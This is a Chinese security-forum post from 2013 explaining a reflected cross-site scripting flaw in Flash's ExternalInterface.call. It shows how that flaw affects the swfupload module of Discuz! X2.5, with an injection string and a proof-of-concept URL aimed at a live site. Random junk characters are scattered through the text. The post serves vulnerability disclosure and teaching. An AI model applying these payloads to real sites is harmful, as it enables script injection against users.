找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1980|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说
  \, k9 ?. Y0 q* w2 q, [4 Z* i/ y, M. u! y2 E4 H; U/ f8 G, l
flash.external.ExternalInterface.call($methodName, $parameter)
9 o1 V$ ~4 J: I8 E9 W2 T在浏览器中执行的是3 Q% e6 v# `1 L$ m9 s
/ f- f) i* \& q$ x$ a7 l
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}; B" M. t  H7 O6 Y' b
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如& @1 N7 j) u& i5 S3 j
9 }# m0 k% y( r1 N
flash.external.ExternalInterface.call("object."+$methodName, $parameter)
( e4 }9 _2 _' l! |$methodName = a())}catch(e){alert(/xss/)}//# i3 O2 ~8 I  z( y0 t1 W$ m$ ^
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。5 U8 E' {0 ?, Y( [  L) o+ |

5 ~. a& k! C8 O1 V5 D5 Wtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }6 \6 w0 ~: H* A0 i
2 L. |% ?0 `" ?9 E: @+ W. W) b3 _
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
4 w+ N% Z7 {; k) R+ v/ R7 `杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。0 R1 \. s6 k  [' w

5 E2 {" p; O6 [7 }& G; w' \/ f$ X* H& [" n% L
8 N* C) U- Q, d$ B
漏洞文件:upload\static\image\common\swfupload.swf# o( |5 B- r; f$ U; D- |

2 ~4 H% v! O8 j+ k0 W6 T" R- v6 a原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf+ `3 O: q. O; R* e

: Y6 f: t! ?+ h) k5 H
- h. m6 E6 ?5 U5 W2 U3 Z+ G漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
5 _1 C4 d7 V: ^+ l8 |5 }6 ~4 m- }9 \) x9 c
' }- u2 a5 O& K4 ?3 e! Q# y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表